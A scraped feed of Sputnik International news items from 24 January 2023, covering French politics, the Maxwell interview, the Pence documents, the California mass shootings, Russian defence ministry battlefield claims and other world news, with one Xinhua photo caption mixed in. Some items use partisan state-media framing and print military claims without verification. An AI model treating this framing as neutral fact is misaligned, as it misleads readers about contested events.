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The case was opened in 2017 after Sophie Patterson-Spatz filed a lawsuit against Darmanin, accusing him of rape and abuse of trust back in 2009. According to Patterson-Spatz, she sought legal assistance from Darmanin, who at that time was a member of the Union for a Popular Movement party (the predecessor of France's The Republicans party), and he demanded a "return service" from her. In July 2017, Darmanin filed a retaliatory defamation lawsuit. In 2018, a court in Paris dismissed the case against Darmanin based on lack of corpus delicti or evidence of a crime but in 2019, a court of cassation ordered that the legality of the case termination be reviewed. In 2020, the Paris Court of Appeal decided to resume the trial of Darmanin. Darmanin served as Minister of Public Action and Accounts in the government of President Emmanuel Macron from May 17, 2017 to July 6, 2020. He was later appointed the country's interior minister.

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https://sputnikglobe.com/20230124/french-left-coalition-suggests-holding-referendum-on-draft-pension-reform-1106652741.html

French Left Coalition Suggests Holding Referendum on Draft Pension Reform

French Left Coalition Suggests Holding Referendum on Draft Pension Reform

The left-wing coalition New Ecological and Social People's Union (Nupes) in the French lower house of parliament, the National Assembly, has tabled a motion for holding a referendum on the draft pension reform

2023-01-24T13:07+0000

2023-01-24T13:07+0000

2023-01-24T13:07+0000

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france

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According to the politician, the leftists will be calling on lawmakers in the National Assembly to hold a referendum starting February 6, on the same day when the discussion of the pension reform begins. On January 10, French Prime Minister Elisabeth Borne presented a draft pension reform, which the government planned to adopt in September 2023. According to Borne's plan, the French government will begin to raise the retirement age in the country by three months per year from September 1, gradually increasing it from the current 62 years to 64 by 2030. France's leading trade unions announced nationwide strikes against the pension reform starting from January 19. Over 200 demonstrations were held across the country on Thursday, with the largest protests taking place in Paris, Marseilles, Lyon, Toulouse, Lille and Nantes. The French capital also saw the continuation of protests on Saturday.

https://sputnikglobe.com/20230119/1106488751.html

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https://sputnikglobe.com/20230124/germany-pushes-back-on-tanks-for-ukraine-dc-anti-war-protest-nord-stream-investigation-1106630841.html

Germany Pushes Back on Tanks for Ukraine; DC Anti-War Protest; Nord Stream Investigation

Germany Pushes Back on Tanks for Ukraine; DC Anti-War Protest; Nord Stream Investigation

Germany is pushing back against US pressure to supply Leopard tanks to the Kiev regime.

2023-01-24T04:17+0000

2023-01-24T04:17+0000

2023-02-03T08:28+0000

the critical hour

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nord stream

new world order

julian assange

radio

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Germany Pushes Back on Tanks for Ukraine; DC Anti-War Protest; Nord Stream Investigation Germany is pushing back against US pressure to supply Leopard tanks to the Kiev regime.

Mark Sleboda, Moscow-based international relations security analyst, joins us to discuss Ukraine. Germany reports that Ukraine is losing hundreds of soldiers each day. Also, pressure is mounting on the German government to reveal the information they possess about the attacks on their gas lines.Kevin Gosztola, managing editor of Shadowproof.com, joins us to discuss Julian Assange. Daniel Ellsberg argues that the prosecution of Julian Assange is causing us to lose the protections of the 1st amendment. Also, the Belmarsh tribunal presented an argument for Assange's freedom.Prof. Nicolai Petro, Professor of Political Science at the University of Rhode Island, specializing in Ukraine and Russia, and author of "The Tragedy of Ukraine," joins us to discuss foreign policy. Sergey Lavrov argues that the US crosses all red lines as he visits South Africa. Also, the US refuses to give Ukraine tanks, and the issue of a hot war versus a proxy war between Russia and the US is becoming more prevalent in international discussions.Dan Lazare, investigative journalist and author of "America's Undeclared War," joins us to discuss the new economic world order. We discuss a recent article arguing that the Western ruling class is incompetent and discredited. Also, the economic world order is rapidly evolving into a multi-polar order.Laith Marouf, broadcaster and journalist based in Beirut, Lebanon, joins us to discuss the Middle East. A controversy involving Sweden allowing the burning of the Quran is infuriating Muslims. Also, Turkish elections have been moved up and the Iranian military is being labeled as a terrorist organization by the EU.KJ Noh, peace activist and writer, joins us to discuss Asia. Japan is remilitarizing and attempting to soft-pedal its actions. Also, China enjoys technological success in space.Gary Flowers, radio talk show host, joins us to discuss domestic policy. America's defense contractors seem to be in control of most government functions. Also, a search of Biden's home turned up more documents.Steve Poikonen, national organizer for Action4Assange, joins us to discuss the anti-war movement in the US. Various ideological beliefs are producing an anti-war rally called Rage Against The War Machine.We'd love to get your feedback at radio@sputniknews.comThe views and opinions expressed in this program are those of the speakers and do not necessarily reflect the position of Sputnik.

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https://sputnikglobe.com/20230124/ghislaine-maxwell-claims-prince-andrew-photo-is-fake-epstein-planned-to-appeal--was-murdered-1106660864.html

Ghislaine Maxwell Claims Prince Andrew Photo is 'Fake', Epstein Planned to Appeal & Was Murdered

Ghislaine Maxwell Claims Prince Andrew Photo is 'Fake', Epstein Planned to Appeal & Was Murdered

Ghislaine Maxwell, a former British socialite and convicted sex trafficker, reiterated her suspicions that her partner-in-crime, sex offender Jeffrey Epstein... 24.01.2023, Sputnik International

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Speaking to the UK's TalkTV from federal prison in California where she is currently serving a 20-year term, Ghislaine Maxwell, 61, said she wished she had never met Jeffrey Epstein. Maxwell also claimed that the infamous photograph of Prince Andrew and Epstein's victim Virginia Giuffre was a "fake." The interview was pre-recorded and aired on January 23.Maxwell, who can also be seen in the notorious picture, said she doesnt believe it to be real "for a second," and "in fact," she is "sure its not."On August 9, 2021, Giuffre filed a lawsuit alleging that Prince Andrew sexually abused her as a 17-year old girl when she was brought by Maxwell and Epstein to London, New York, and the US Virgin Islands. In March 2022, the Duke of York paid a financial settlement to his accuser to formally end a civil case against him.However, it has been reported previously that Prince Andrew is seeking to reverse the multimillion pound settlement with his accuser after Giuffre's abuse case against US lawyer Alan Dershowitz collapsed. In her previous interview from jail, Maxwell insisted the accusations against her "dear friend" Andrew were unfounded.The media started to circulate accusations against the duke in March 2011, when the Daily Mail released the photo-in-question. Andrew's ties to Epstein, as well as the prince's November 2019 interview in which he failed to show sympathy to the convicted sex offender's victim, complicated matters further. Over the past several years Prince Andrew's reputation has been severely damaged: he was stripped of military roles and HRH title, while in February 2020 his name was removed from "Pitch at the Palace", a startup-mentoring platform founded by him in 2014.In addition to casting doubt on the photo origins earlier this, Maxwell reiterated her claim that Epstein did not commit suicide on August 10, 2019, but was rather murdered.There have been plenty of speculations surrounding Epstein's death. In October 2019, Dr. Michael Baden, a forensic pathologist hired by Epstein's brother Mark to determine the cause of the millionaire's death, suggested that the autopsy of the deceased was more consistent with homicidal strangulation than suicide. Moreover, a number of pieces in the "suicide" seem to not add up. The jail's suicide watch was removed just ahead of the Epstein's death even though he got injuries believed to be caused by a suicide attempt prior to that. In a strange twist of fate, two prison guards also fell asleep instead of making checks every 30 minutes, while two cameras outside the notorious financier's jail cell were not working on the day of the tragedy.Meanwhile, the British broadcaster's interview with Maxwell came under criticism on social media by netizens and UK media figures for giving a platform and air time to the convicted sex trafficker.

https://sputnikglobe.com/20221224/charles-iii-evicts-prince-andrew-from-royal-residence-over-ongoing-rape-trial-report-says-1105759863.html

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https://sputnikglobe.com/20230124/iaea-director-general-announces-visit-to-iran-in-february-for-political-dialogue-1106665850.html

IAEA Director General Announces Visit to Iran in February for Political Dialogue

IAEA Director General Announces Visit to Iran in February for Political Dialogue

International Atomic Energy Agency (IAEA) Director General Rafael Grossi said on Tuesday he was going to visit Iran in February to assess the situation regarding nuclear non-proliferation and resume the political dialogue.

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"I believe I might be back in Tehran on this and on the other issues I described to you, in February perhaps, for much needed political dialogue with Iran. And then, I hope to be making some progress," he told the Committee on Foreign Affairs of the European Parliament. Grossi also said Iran had enough enriched uranium to create a nuclear bomb, however it did not mean that the weapon already existed. Answering the lawmakers' questions, Grossi said that Iran had failed to provide the IAEA with explanations on many aspects, as well as violated agreements under the Joint Comprehensive Plan of Action (JCPOA). Iran has repeatedly stressed it has no intention of creating nuclear weapons; in fact, Iranian leadership imposed a fatwa in 2003 on the production or sage of any form of nuclear arms.The JCPOA was negotiated between Iran and the five permanent members of the United Nations Security Council as well as Germany and the European Union in July 2015. In 2018, the US unilaterally withdrew from the JCPOA, saying that Iran had violated the deal by developing nuclear weapons in secret. In response, Iran suspended parts of its own obligations under the deal, demanding the US lift sanctions. In December 2021, talks on the revival of the JCPOA resumed. However, progress on the deal was frozen by September 2022 due to a series of mass protests in the Islamic Republic, for which Tehran blames the US and other Western countries.

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https://sputnikglobe.com/20230124/in-joe--donalds-footsteps-classified-memos-found-in-ex-veep-mike-pences-home-1106663632.html

In Joe & Donald's Footsteps? Classified Memos Found in ex-Veep Mike Pence's Home

In Joe & Donald's Footsteps? Classified Memos Found in ex-Veep Mike Pence's Home

Classified documents were found in former Vice President Mike Pence's Indiana home last week, the US mainstream press broke on January 24. 24.01.2023, Sputnik International

2023-01-24T18:31+0000

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2023-01-24T18:31+0000

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A lawyer for former Vice President Mike Pence has found a dozen documents marked classified in the former Trump official's new home in Carmel, Indiana.Reportedly, the lawyer handed the sensitive government records to the FBI. It's unclear what issues the documents in question are related to and what level of sensitivity or classification they have.The bureau and the Justice Departments National Security Division have kicked off a review of the classified materials and how they found their way to Pences private house.Previously, Pence repeatedly said that he did not have any classified documents in his possession. However, the former vice president reportedly asked his lawyer to conduct a search of his home in the wake of the unfolding classified memo saga involving Joe Biden and Donald Trump. Eventually, the attorney found a batch of documents with classified markings in an unsecured place among other materials which were stored in four boxes.Pence's lawyer informed the National Archives, which in turn informed the Justice Department about the discovery. The FBI requested that the former vice president take the documents with classified markings and Pence agreed. Pence's legal team transported other materials, stored in the aforementioned boxes, to the National Archives to conduct the review for compliance with the Presidential Records Act.The US media quoted a letter written by Pences representative to the National Archives that said that a "small number of documents bearing classified markings" were accidentally boxed and transported to the vice presidents home. The letter argued that Vice President Pence was unaware of the existence of sensitive or classified documents at his personal residence," adding that the former official "stands ready and willing to cooperate fully with the National Archives and any appropriate inquiry."According to the press, Pences DC office was also searched, but no classified records were found there.The discovery came on the heels of US President Joe Biden's classified memo scandal. Sensitive government records were found at several unsecured places in Biden's premises in Delaware and his Pennsylvania-based think tank, the Penn Biden Center. Reportedly, some documents covered UK, China and Ukraine and originated from Biden's tenure as vice president. Attorney General Merrick Garland has picked a special counsel to investigate Biden's case. Prior to that, several batches of classified materials were found in Donald Trump's Mar-a-Lago home during an FBI raid last year. Before that the former president turned a number of classified documents over to the National Archives.

https://sputnikglobe.com/20230122/all-deny--deflect-bidens-no-regrets-response-to-classified-docs-row-ripped-as-really-dumb--1106564745.html

https://sputnikglobe.com/20230116/contagious-syndrome-how-clinton--obama-used-to-mishandle-classified-docs-akin-to-biden-1106411646.html

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Medical staff stick to posts during Spring Festival

Xinhua) 10:15, January 24, 2023

A medical worker checks the condition of a patient at the emergency department of the Second Affiliated Hospital of Anhui Medical University in Hefei, east China's Anhui Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Zhou Mu)

A medical worker talks with the relatives of a patient at the emergency department of the Second Affiliated Hospital of Anhui Medical University in Hefei, east China's Anhui Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Zhou Mu)

Medical staff work at the emergency department of the Second Affiliated Hospital of Anhui Medical University in Hefei, east China's Anhui Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Zhou Mu)

Medical staff work at the emergency department of the Second Affiliated Hospital of Anhui Medical University in Hefei, east China's Anhui Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Zhou Mu)

Medical staff check the condition of a patient at the intensive care unit of Guangdong Provincial Hospital of Chinese Medicine in Guangzhou, south China's Guangdong Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Deng Hua)

A medical worker checks the body temperature of a patient at the emergency department of Guangdong Provincial Hospital of Chinese Medicine in Guangzhou, south China's Guangdong Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Deng Hua)

A doctor talks with a patient at the emergency department of Guangdong Provincial Hospital of Chinese Medicine in Guangzhou, south China's Guangdong Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Deng Hua)

Medical staff transfer a patient at Guangdong Provincial Hospital of Chinese Medicine in Guangzhou, south China's Guangdong Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Deng Hua)

A medical worker checks the condition of a patient at the emergency department of Guangdong Provincial Hospital of Chinese Medicine in Guangzhou, south China's Guangdong Province, Jan. 21, 2023. Medical staff stick to their posts during the Spring Festival holiday. (Xinhua/Deng Hua)

(Web editor: Peng Yukai, Liu Ning)
https://sputnikglobe.com/20230124/indonesia-considering-acquiring-smart-aviation-weapons-from-france-1106650175.html

Indonesia Considering Acquiring Smart Aviation Weapons From France

Indonesia Considering Acquiring Smart Aviation Weapons From France

The Indonesian Ministry of Defense said on Tuesday it was in talks with French aviation company Safran on the possibility of acquiring Armement AirSol Modulaire (AASM) Highly Agile Modular Munition Extended Range (Hammer)

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. The AASM-Hammer is a modular air-to-ground precision weapon suite developed by Safran. AASM modules can be equipped with various guidance systems such as laser, infrared, inertial or satellite. In 2022, Indonesia signed agreement with France to purchase of 42 Rafale fighter jets, becoming the second regional purchaser of this aircraft after India.

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https://sputnikglobe.com/20230124/italy-may-boost-african-gas-imports-become-european-energy-hub-eni-ceo-says-1106657800.html

Italy May Boost African Gas Imports, Become 'European Energy Hub,' Eni CEO Says

Italy May Boost African Gas Imports, Become 'European Energy Hub,' Eni CEO Says

Italy will be able to boost its gas imports from the African continent and transfer some of the supply to Northern Europe, becoming a European energy hub, if the country enhances its infrastructure in the coming years, said Claudio Descalzi, the CEO of energy company Eni, as cited by local media.

2023-01-24T15:33+0000

2023-01-24T15:33+0000

2023-03-05T11:00+0000

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Italy will be able to boost its gas imports from Africa and transfer some of the supply to Northern Europe, turing itself into a European energy hub, if the country enhances its infrastructure in the coming years, said Claudio Descalzi, CEO of energy company Eni. Speaking at a press conference in Algiers, where he traveled with Italy's Prime Minister Giorgia Meloni, Descalzi stated that Italy can already rely on several connections with the continent. In particular, he referred to the TransMed pipeline linking Algeria to Sicily. He highlighted that "there are still more than 10 bcm that can reach Italy." Last year, the country became Italy's biggest gas supplier, replacing a substantial part of the 29 bcm of gas that used to come from Russia. Apart from Algeria, he added, Rome could count on a pipeline from Libya and imports of liquefied natural gas from Egypt, Angola, Congo Republic and Mozambique. As for Libya, he stated that Italy's connection with the country is now "worth about 12-14 billion cubic metres in terms of capacity, which can go up with adequate compression additions of several billion." In this light, Italy sees its role as a potential hub for supplies between Africa and Europe that can facilitate EU efforts to offset the loss of imports from Russia. He underlined that the country shouldn't miss this opportunity to invest in gas production and infrastructure projects on the African continent. He recalled that Europe started geographical diversification of its gas imports in 2014 to be ready to face possible difficulties. Previously, the countries mainly focused on technological enhancement and environmental sustainability. Now there is a dire "need to diversify." However, the activities of multi-national corporations in Africa, including large oil and gas companies such as Eni, have often been subject to severe criticism and sometimes led to criminal proceedings with the firms accused of corruption. The most prominent example is possibly a long-running case centered around the $1.3 billion purchase by Shell and Eni of an offshore oil block in 2011 in Nigeria. It was alleged that the majority of the money was used to bribe the country's politicians and officials. But in July 2022, criminal proceedings ended, clearing the companies and their managers, including Claudio Descalzi. Nigeria appealed to a court in Milan, Italy, with $1.092 billion compensation request against energy groups, but it was rejected.The Eni and Shell case is one in a long row of cases of alleged corruption of large corporations in African states. In November, the British subsidiary of Glencore was fined 280 million for seven cases of bribery in Africa between 2011 and 2016.Following the launch of the Russian special military operation last February, the EU, which was one of the primary buyers of Russian natural gas, started a broad sanctions campaign against it, with the European Union vowing to limit its reliance on Russian energy supplies.This has led to growing investment and involvement of European oil companies in the development of the natural resources of the African continent.Later in the year, EU states promised to increase their investments in the transition to green energy and prohibited the sale of Russian oil to the union from December. They concurred that a total prohibition on Russian gas would simply result in heightened competition and higher LNG costs.

https://sputnikglobe.com/20221111/nigerias-compensation-request-against-eni-shell-dismissed-by-italian-court-1104023042.html

https://sputnikglobe.com/20220918/how-west-uses-climate-agenda-to-keep-africas-oil--gas-underground-to-satisfy-own-appetite-1100931199.html

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https://sputnikglobe.com/20230124/key-ally-slams-swedish-government-for-indulgence-toward-islamist-forces-1106634108.html

Key Ally Slams Swedish Government for 'Indulgence Toward Islamist Forces'

Key Ally Slams Swedish Government for 'Indulgence Toward Islamist Forces'

The spat between the minority government and the Sweden Democrats comes in the aftermath of the Quran-burning that further soured Swedens relation with Turkey.

2023-01-24T05:30+0000

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National-conservative Sweden Democrats leader Jimmie Akesson has unleashed harsh criticism against the governments handling of the diplomatic crisis that ensued following the Quran burning that took place in Stockholm over the past weekend. Following the inflammatory protest by Hard Line party leader Rasmus Paludan that occurred opposite the Turkish embassy, Swedish government officials rushed to mend fences with Ankara, condemning the deed.Among others, Prime Minister Ulf Kristersson of the liberal-conservative Moderate Party called it a "deeply disrespectful act" and expressed his "sympathy" to all offended Muslims.This, however, made Sweden Democrat leader Jimmie Akesson see red. In a Facebook* post, he called this attitude "very, very worrying." According to Akesson, trying to understand and feel sorry for the forces in Sweden who "with reference to religious dogma, want to abolish the freedom of expression" is an "extremely dangerous way to go."Akesson pledged to take up this "indulgence toward Islamist forces, both inside and outside of Sweden" with the prime minister personally. He also stressed that the Sweden Democrats will never "compromise the cornerstones of Swedish democracy merely because people who have chosen to move here feel triggered."The Quran-burning and its bitter aftermath come at a key juncture for Stockholm, whose NATO bid at present solely depends on Turkey, which is the only alliance member to have openly opposed the move. Sweden's potential accession to the bloc has been deferred by Stockholms reluctance to grant all Ankaras demands, which include a crackdown on Kurdish groups it regards as terrorist organizations and a massive extradition request to Turkey, which would tarnish Swedens image as a champion of human rights.In recent weeks, the already strained bilateral relations have been exacerbated further by a slew of high-profile controversies. Among others, Turkish President Recep Tayyip Erdogan was hanged in effigy in Stockholm during a pro-Kurdish demonstration, and a cartoon contest mocking Erdogan was held by a Swedish newspaper. This culminated in the Quran-burning by right-wing politician and Hard Line fringe party leader Rasmus Paludan, who framed it as celebration of free speech.The Turkish Foreign Ministry condemned the act as a "vile attack" on the holy book, while President Erdogan warned that Sweden shouldn't count on Turkey's support for joining NATO as it continues to ignore such "heresy."The recent statements by Akesson, who previously labeled Erdogan himself an "Islamist dictator," may also indicate a rift between the ruling minority coalition and the Sweden Democrats, Swedens second-largest party. Despite receiving no minister posts, the Sweden Democrats lend key support to the Moderates-led government and have a say on a broad number of issues. While touted as a massive improvement for the party that long had a pariah status in Sweden, this settlement dissatisfied many Sweden Democrat voters, who believe their party deserves better. * Meta (Facebook and Instagram) is banned as an extremist organization in Russia.

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Russias MoD Latest Statements on Special Op in Ukraine:

Russias aviation and artillery inflicted fire damage on the Armed Forces of Ukraine in the Kharkov region, which resulted in the elimination of over 40 Ukrainian servicemen, an armored fighting vehicle, and a motor vehicle.

Russias artillery fire hit units of the Ukrainian Armed Forces in the LPR and DPR. Over 30 Ukrainian troops, five armored combat vehicles, an M-777 artillery system, and two US-made AN/TPQ-37 counter-battery radar stations were destroyed.

Russian troops continue their offensive in the DPR. Army Aviation, Missile Troops and Artillery engaged the 25th Airborne Assault Brigade of the Armed Forces of Ukraine in the DPR.

Near Zaporozhye, during the day, artillery fire and Eastern Military District units have destroyed more than 25 Ukrainian servicemen, as well as an Akatsiya self-propelled howitzer, two D-20 and D-30 howitzers, and three motor vehicles.

Airborne Troops artillery has destroyed a US-made AN/TPQ-50 counter-battery radar station in Kherson region.

The Operational-Tactical Aviation, Missile Troops and Artillery of the Armed Forces of the Russian Federation hit the command post of the 57th Separate Mechanized Brigade of the Armed Forces of Ukraine and a dump of artillery munition in the DPR.

Russian Aerospace Forces obliterated a self-propelled fire unit of the Ukrainian Buk-M1 SAM system.

Ten Ukrainian unmanned aerial vehicles were shot down by anti-aircraft defense forces over the past 24 hours.
https://sputnikglobe.com/20230124/lockheed-martin-to-deliver-15bln-worth-of-orders-for-ukraine-between-2023-2024-1106664098.html

Lockheed Martin to Deliver $1.5Bln Worth of Orders for Ukraine Between 2023-2024

Lockheed Martin to Deliver $1.5Bln Worth of Orders for Ukraine Between 2023-2024

Lockheed Martin will begin delivering $1.5 billion worth of orders of military equipment for Ukraine starting this year and carrying over into 2024, the company's Chief Financial Officer Jay Malave said on Tuesday.

2023-01-24T18:24+0000

2023-01-24T18:24+0000

2023-01-24T18:26+0000

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"We had orders of about $1.5 billion dollars, we'll start delivering on some of that in 2023 and it'll carry over into 2024," Malave said during a quarterly earnings call when asked about efforts to restock US supplies sent to Ukraine. "We've got a line of sight to significantly more orders beyond that, that we'll see again in the outer years." Lockheed Martin has had contract funding and internally funded projects to make sure the company can meet higher ramp rates, including for High Mobility Artillery Rocket Systems (HIMARS) and Guided Multiple Rocket Systems (GMLRS), Malave said. The United States and several Western countries recently announced new military supplies to Kiev, including battle tanks, armored infantry vehicles and artillery systems. In April 2022, Moscow sent a note to NATO member states condemning their military assistance to Kiev after Russia started its military operation in Ukraine. Kremlin spokesman Dmitry Peskov said that pumping Ukraine with weapons did not contribute to the success of peace negotiations and would have a detrimental effect on the conflict. The Russian Foreign Ministry has repeatedly emphasized that any cargo containing weapons for Ukraine would become a legitimate target for Russia.

https://sputnikglobe.com/20230121/whos-keeping-count-us-to-give-ukraine-billions-more-1106536697.html

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https://sputnikglobe.com/20230124/monterey-park-tragedy-how-the-gunman-was-disarmed-prevented-from-causing-further-bloodshed-1106630114.html

Monterey Park Tragedy: How the Gunman Was Disarmed, Prevented From Causing Further Bloodshed

Monterey Park Tragedy: How the Gunman Was Disarmed, Prevented From Causing Further Bloodshed

In the wake of the weekend tragedy in California's Monterey Park, newly surfaced reports have detailed just how the gunman was held off and prevented from causing further bloodshed at a second location.

2023-01-24T00:14+0000

2023-01-24T00:14+0000

2023-01-24T00:08+0000

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In the wake of the weekend tragedy in California's Monterey Park, newly surfaced reports have detailed just how the gunman was held off and prevented from causing further bloodshed at a second location.About 20 minutes after the first shooting, the suspect, identified as 72-year-old Huu Can Tran, went to the Lai Lai Ballroom & Studio in the city of Alhambra. It was there that Brandon Tsay was able to wrestle the gun away from Tran and is being hailed a hero for his bravery."My first thoughts was  I was gonna die here. This was it," Tsay added. He said he did not recognize Tran, who would later die of a self-inflicted gunshot wound."He didn't seem like he was here for any money, he wasn't here to rob us," Tsay said. "When he was looking around the room it seemed like he was looking for targets  people to harm. Something came over me  I realized, I needed to get the weapon away from him.""When I got the courage, I lunged at him with both my hands, grabbed the weapon and we had a struggle. We struggled into the lobby, trying to get this gun away from each other," Tsay said. "He was hitting me across the face. Bashing the back of my head. I was trying to use my elbows to separate the gun away from him, create some distance."Tsay was able to wrestle the gun from the suspect, who is assumed to be Tran, and told him to leave."At this point I thought he would run away, but he was just standing there, contemplating whether to fight or to run away. I really thought I would have to shoot him."The shooter then left the studio and went back to his van.Surveillance footage of Tsay wrestling the firearm from Tran's possession has since surfaced online.Tran, the suspected shooter, was later found dead on Sunday from a self-inflicted gunshot wound in Torrance, about 30 miles southwest of Monterey Park. The gunshot was first heard after authorities approached the van.Inside the van, investigators found several pieces of evidence that linked Tran to the crime, including a handgun.One of the victims was identified as 65-year-old Mymy Nhan, who spent years at the dance studio. According to a statement from her family, she was a loving aunt, sister, daughter and friend. She was the first person shot and killed during the mass shooting.Tiffany Liou, a CNN affiliate, said Nhan was related to her through marriage.Another victim has been identified as Lilan Li, a 63-year-old woman. The remaining victims have yet to be identified but their ages range between 50 and 70. While 10 were first killed and another 10 were injured at the dance studio, one additional victim did succumb to their injuries on Monday, according to LAC+USC Medical Center, bringing the total fatalities to 11.While authorities have yet to release a motive behind the shooting, early speculation suggests domestic violence may have been a contributing factor.Shooter Had History of 'Vendettas'A former acquaintance of Tran who lived with him for several years has described him as distrustful and difficult to get along with, noting he had few friends and a lot of vendettas against people. Tran is said to have complained that the instructors at the dance hall said evil things about him and said he was hostile to a lot of people there.Tran was also a regular at Star Ballroom Dance Studio, the dance venue he attacked, as well as Lai Lai Ballroom & Studio, where his attack was stopped. According to his former acquaintance, dancing was his only hobby but he reportedly held grudges against the people who attended the studios and those who worked there, accusing them of not being friendly towards him.According to researchers, the shooter is the oldest person to carry out a mass shooting in a public venue in US history.Trans ex-wife spoke to CNN under the condition she would not be publicly identified. The pair divorced between 2005 and 2006 and had no children, and had met roughly 20 years ago at the Star Ballroom Dance Studio. According to his ex-wife, he gave informal dance lessons at the studio, and also worked as a truck driver.His ex-wife said he was never violent with her, but detailed he was quick to anger whenever she made the wrong step during a dance routine. He filed for a divorce in 2005, and the judge approved of the divorce in 2006.Additionally, newly surfaced detailed by the Hemet Police Department indicated Tran previously filed a police report "alleging past fraud, theft, and poisoning allegations involving his family in the Los Angeles area 10 to 20 years ago." The department noted Tran intended to provide evidence to support the claim but he never returned to the station.The gun used in the shooting was identified as a Cobray M11 9mm semi-automatic weapon, which Los Angeles County Sheriff Rover Luna described as "not legal" in California. Authorities are still unclear of how Tran obtained the weapon.Luna detailed during a late Monday briefing that Tran's limited criminal history involved an arrest for unlawful possession of a firearm in 1990. The official also detailed that investigators believed Tran was manufacturing homemade firearm suppressors.A preliminary search of Tran's home has since turned over numerous electronic devices such as cellphones and computers.The Federal Bureau of Investigation will not be leading the investigation even after their participation over the weekend. Instead, the Los Angeles County Sheriffs Department (LASD) will be taking the lead on the investigation.

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https://sputnikglobe.com/20230124/nasa-claims-new-rocket-will-take-astronauts-to-mars-in-45-days--1106635257.html

NASA Claims New Rocket Will Take Astronauts to Mars in 45 Days

NASA Claims New Rocket Will Take Astronauts to Mars in 45 Days

The revolutionizing technology that would allow travelling at cosmic speed indeed is Nuclear Propulsion.

2023-01-24T11:17+0000

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NASA is considering a faster way of traveling to Mars, which could take astronauts from Earth to the Red Planet in just 45 days.According to the agency's statement, the idea behind the technology is Nuclear Thermal Propulsion or Nuclear Electric Propulsion. It is a new class of bimodal nuclear propulsion that uses a wave rotor topping cycle. NASA has stressed that this technology will revolutionize deep space exploration.A nuclear propulsion rocket consists of an atomic reactor heating liquid hydrogen propellant. In turn, hydrogen propellant turns into ionized hydrogen gas and it is channeled through nostrils to generate thrust. According to the agency, the interesting aspect is that thanks to this propulsion system, the vessel can go to Mars and back multiple times.NASA stated that nuclear propulsion has been on the scene as a means of space exploration for a long time.

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https://sputnikglobe.com/20230124/one-dead-7-injured-in-californias-3rd-mass-shooting-in-3-days-1106654859.html

One Dead, 7 Injured in California's 3rd Mass Shooting in 3 Days

One Dead, 7 Injured in California's 3rd Mass Shooting in 3 Days

One individual is confirmed dead and seven others injured in California's third mass shooting in three days, the Oakland Police Department said.

2023-01-24T14:08+0000

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The shooting occurred on Monday evening in the 5900 block of Macarthur Blvd. The incident comes amid a series of mass shootings in California this month. On January 16, in a suspected case of gang violence, six people, including a 16-year-old mother and her 10-month-old baby, were shot in Goshen, in the San Joaquin Valley. On Saturday, in another case believed to involve interpersonal violence, a 72-year-old gunman killed 11 people and injured nine at a ballroom dancing studio in Monterey Park, before turning his gun on himself while being pursued by police. On Monday, a 67-year-old man killed seven people and injured one at two sites in Half Moon Bay. He is in the custody of the San Mateo County police.

https://sputnikglobe.com/20230124/biden-urges-congress-to-pass-newly-introduced-assault-weapons-ban-1106647517.html

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https://sputnikglobe.com/20230124/police-at-least-7-killed-after-two-shootings-in-californias-half-moon-bay-suspect-in-custody--1106631807.html

Police: At Least 7 Killed After Two Shootings in California's Half Moon Bay, Suspect in Custody

Police: At Least 7 Killed After Two Shootings in California's Half Moon Bay, Suspect in Custody

At least seven people are dead following two separate shootings in northern California near the city of San Francisco, local authorities have confirmed.

2023-01-24T02:21+0000

2023-01-24T02:21+0000

2023-01-24T02:21+0000

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The San Mateo County Sheriff's Office has stated that four victims were initially found dead at about 2:22 p.m. local time, but that an additional three victims were discovered at a separate crime scene in the area.Another individual was hospitalized at the Stanford Medical Center with life-threatening injuries.Authorities with the San Mateo County Sheriff's Office have also noted that the suspect has since been apprehended. Local media identified the suspect as 67-year-old Half Moon Bay resident Zhao Chunli, who was taken into custody after officers found him at the parking lot of a sheriff's office substation. The weapon used in the shootings was also found in his vehicle.Footage showing officers taking Zhao into custody has since been captured.A motive for the shooting incidents have not yet been determined.Monday's shooting comes on the heels of a shooting that took place at a dance studio in the city of Monterey Park, California, near Los Angeles over the weekend. As of Monday, the death toll in the Monterey shooting increased to 11 following the death of another victim at a local hospital. A gunman opened fire at a Monterey Park dance studio at the end of the first day of a two-day street festival celebrating Lunar New Year, killing 11 and injuring nine others. The suspected gunman fled the scene and was found dead by authorities in a van in a neighboring city.

https://sputnikglobe.com/20230124/monterey-park-tragedy-how-the-gunman-was-disarmed-prevented-from-causing-further-bloodshed-1106630114.html

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https://sputnikglobe.com/20230124/russia-continues-to-fulfill-its-obligations-to-settle-nagorno-karabakh-issue-1106650663.html

Russia Continues to Fulfill Its Obligations to Settle Nagorno-Karabakh Issue

Russia Continues to Fulfill Its Obligations to Settle Nagorno-Karabakh Issue

Russia continues to fulfill its obligations to resolve the situation in Nagorno-Karabakh by participating in trilateral agreements with Azerbaijan and Armenia, conducting painstaking work with both Baku and Yerevan

2023-01-24T12:23+0000

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Since December 12, the Lachin corridor, which connects Nagorno-Karabakh with Armenia, has been blocked by a group of Azerbaijanis described by Baku as environmental activists. According to Armenian Prime Minister Nikol Pashinyan, the corridor's blockade violates the ceasefire declaration brokered by Russia between Armenia and Azerbaijan in 2020. The document delegated control of the Lachin corridor to Russian peacekeepers deployed in Nagorno-Karabakh. In late December, Pashinyan said that the peacekeepers allegedly did not fulfill their obligations regarding control over the corridor. On Monday, the US State Department said that Secretary of State Antony Blinken, in a telephone conversation with Azerbaijani President Ilham Aliyev, called on Baku to redouble efforts in bilateral peace negotiations with Armenia and urged for an "immediate reopening" of the Lachin corridor to resume the movement of commercial goods and thus reduce the risk of a humanitarian crisis. On January 18, Russian Foreign Minister Sergey Lavrov said that the issue of the Lachin corridor in Nagorno-Karabakh could be resolved in the near future. The top diplomat noted that Moscow proposed to Baku and Yerevan a mechanism according to which Russian peacekeepers would have the authority under the trilateral agreement to control movement through the Lachin corridor and, among other things, to check vehicles for prohibited non-humanitarian and non-civilian goods in them.

